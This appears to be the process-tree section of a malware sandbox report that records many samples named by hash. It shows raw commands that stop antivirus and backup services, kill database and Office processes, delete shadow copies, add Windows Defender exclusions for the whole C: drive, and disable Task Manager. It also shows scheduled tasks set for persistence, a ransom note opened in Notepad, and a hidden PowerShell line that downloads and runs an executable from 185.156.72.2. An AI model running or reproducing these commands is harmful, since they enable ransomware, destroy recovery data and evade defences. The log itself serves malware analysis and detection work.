C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SQLEXPRESS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SQLEXPRESS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "wbengine" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "wbengine" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "kavfsslp" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "kavfsslp" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "KAVFSGT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "KAVFSGT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "KAVFS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "KAVFS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "mfefire" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mfefire" /y4⤵
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM zoolz.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM agntsvc.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM dbeng50.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM dbsnmp.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM encsvc.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM excel.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM firefoxconfig.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM infopath.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM isqlplussvc.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msaccess.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msftesql.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mspub.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mydesktopqos.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mydesktopservice.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mysqld.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mysqld-nt.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mysqld-opt.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM ocautoupds.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM ocomm.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM ocssd.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM onenote.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM oracle.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM outlook.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM powerpnt.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqbcoreservice.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlagent.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlbrowser.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlservr.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlwriter.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM steam.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM synctime.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM tbirdconfig.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM thebat.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM thebat64.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM thunderbird.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM visio.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM winword.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM wordpad.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM xfssvccon.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM tmlisten.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM PccNTMon.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM CNTAoSMgr.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Ntrtscan.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mbamtray.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe"C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"2⤵
- Executes dropped EXE
- Checks system information in the registry
- Modifies registry class
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\RANSOMNOTE.txt3⤵
- Opens file in notepad (likely ransom note)
-
-
-
C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows.old/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\SearchHost.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows.old\ctfmon.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Internet Explorer\es-ES\conhost.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\LiveKernelReports\ErmWhatsWrongWithMyPC.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\conhost.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\NwsuXvyLP9.bat"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 650014⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\LiveKernelReports\ErmWhatsWrongWithMyPC.exe"C:\Windows\LiveKernelReports\ErmWhatsWrongWithMyPC.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Remove-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe"C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe"C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im taskmgr.exe4⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exeREG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f4⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t reg_dword /d 1 /f3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exeREG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t reg_dword /d 1 /f4⤵
- Modifies registry key
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe"C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe"C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn iHfGSmawQsF /tr "mshta C:\Users\Admin\AppData\Local\Temp\thm5WORgL.hta" /sc minute /mo 25 /ru "Admin" /f3⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn iHfGSmawQsF /tr "mshta C:\Users\Admin\AppData\Local\Temp\thm5WORgL.hta" /sc minute /mo 25 /ru "Admin" /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\thm5WORgL.hta3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZDNNO6QSVUVRVNICRCZHNNKVN3OGIGOS.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe"C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6572 -s 883⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe"C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe"C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe"C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe"C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe"2⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe"C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe"C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe"C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe"2⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\HACKCR~1.EXE"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe"C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe"C:\Users\Admin\AppData\Local\Temp\a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe"C:\Users\Admin\AppData\Local\Temp\a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4652 -s 2603⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe"C:\Users\Admin\AppData\Local\Temp\aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe"C:\Users\Admin\AppData\Local\Temp\ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn WfqqjmaA3y3 /tr "mshta C:\Users\Admin\AppData\Local\Temp\NUoQv3mRo.hta" /sc minute /mo 25 /ru "Admin" /f3⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn WfqqjmaA3y3 /tr "mshta C:\Users\Admin\AppData\Local\Temp\NUoQv3mRo.hta" /sc minute /mo 25 /ru "Admin" /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\NUoQv3mRo.hta3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YSZ16UE7N1FNGIOTUMNRPK3BYSNCL7ZS.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe"C:\Users\Admin\AppData\Local\Temp\aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"2⤵
-
C:\Program Files\Java\jre-1.8\bin\javaw.exe"C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\B975F3~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\C81ECE~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\C348C7~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\C558E1~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\CF75A4~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\D371D9~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\DEF982~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\E0A838~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\E98182~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\E96273~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\EAC7EA~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\F74EA8~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\F258F6~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\F497E0~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\FFCC4C~1.EXE"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\DD7125~1.EXE"2⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\SearchHost.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SearchHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\SearchHost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\SearchHost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 12 /tr "'C:\Windows.old\ctfmon.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
